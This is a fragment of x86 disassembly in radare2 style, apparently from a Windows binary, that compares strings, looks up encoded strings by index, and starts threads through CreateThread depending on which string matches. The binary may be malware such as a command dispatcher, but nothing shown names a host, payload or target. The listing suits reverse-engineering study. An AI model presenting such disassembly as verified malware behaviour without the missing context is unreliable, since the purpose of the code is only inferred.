cmp dl, byte [ecx + 1]
jne 0x40f365
add eax, 2
add ecx, 2
test dl, dl
jne 0x40f345
xor eax, eax
jmp 0x40f36a
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x40f3e6
mov edi, edi
push 4
call fcn.00412765
add esp, 4
test eax, eax
je 0x40f370
push 0
push 0
push eax
push 0x40f590
push 0
push 0
mov dword [eax], 1
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0xa
call fcn.00412765
mov esi, eax
add esp, 4
test esi, esi
je 0x40f398
push 0xf7
call fcn.00403fe0
mov ecx, dword [0x42a118]
mov eax, dword [ecx + 0x3dc]
mov edx, esi
add esp, 4
sub edx, eax
mov cl, byte [eax]
mov byte [eax + edx], cl
inc eax
test cl, cl
jne 0x40f3c5
mov eax, esi
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x6c8]
xor ecx, esp
call fcn.004118d8
mov esp, ebp
pop ebp
ret
push 0xf6
call fcn.00403fe0
mov edx, dword [0x42a118]
mov ecx, dword [edx + 0x3d8]
add esp, 4
lea eax, [esp + 0x1d0]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x40f426
test dl, dl
je 0x40f422
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x40f426
add eax, 2
add ecx, 2
test dl, dl
jne 0x40f406
xor eax, eax
jmp 0x40f42b
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x40f4a5
nop
push 4
call fcn.00412765
add esp, 4
test eax, eax
je 0x40f430
push 0
push 0
push eax
push 0x411010
push 0
push 0
mov dword [eax], 1
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0xa
call fcn.00412765
mov esi, eax
add esp, 4
test esi, esi
je 0x40f458
push 0xf7
call fcn.00403fe0
mov eax, dword [0x42a118]
mov eax, dword [eax + 0x3dc]
mov edx, esi
add esp, 4
sub edx, eax
mov cl, byte [eax]
mov byte [eax + edx], cl
inc eax
test cl, cl
jne 0x40f484
mov eax, esi
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x6c8]
xor ecx, esp
call fcn.004118d8
mov esp, ebp
pop ebp
ret
call fcn.00403120
push 0x423554
push edi
mov esi, eax
call fcn.00414185
mov ebx, eax
add esp, 8
test ebx, ebx
je 0x40f507
push ebx
call fcn.004118e7
add esp, 4
test eax, eax
jne 0x40f4fe
lea ecx, [ecx]
push ebx
push 1
lea ecx, [esp + 0x23]
push 1
push ecx
call fcn.00411c2c
lea edx, [esp + 0x2b]
push edx
mov edi, 1
call fcn.00403170
add esp, 0x14
push ebx
call fcn.004118e7
add esp, 4
test eax, eax
je 0x40f4d0
push ebx
call fcn.00412186
add esp, 4
mov eax, dword [esi + 4]
cmp eax, 3
jb 0x40f533
lea edi, [eax + 4]
push edi
call fcn.00412765
add esp, 4
test eax, eax
je 0x40f512
mov ecx, dword [esi]
mov edx, eax
mov ebx, eax
sub edx, ecx
mov al, byte [ecx]
mov byte [ecx + edx], al
inc ecx
test al, al
jne 0x40f527
jmp 0x40f56a
push 0x41
call fcn.00412765
mov edi, eax
add esp, 4
test edi, edi
je 0x40f533
push 0x102
mov ebx, edi
call fcn.00403fe0
mov eax, dword [0x42a118]
mov eax, dword [eax + 0x408]
add esp, 4
sub edi, eax
nop
mov cl, byte [eax]
mov byte [eax + edi], cl
inc eax
test cl, cl
jne 0x40f560
call fcn.00403150
mov ecx, dword [esp + 0x6d4]
pop edi
pop esi
mov eax, ebx
pop ebx
xor ecx, esp
call fcn.004118d8
mov esp, ebp
pop ebp
ret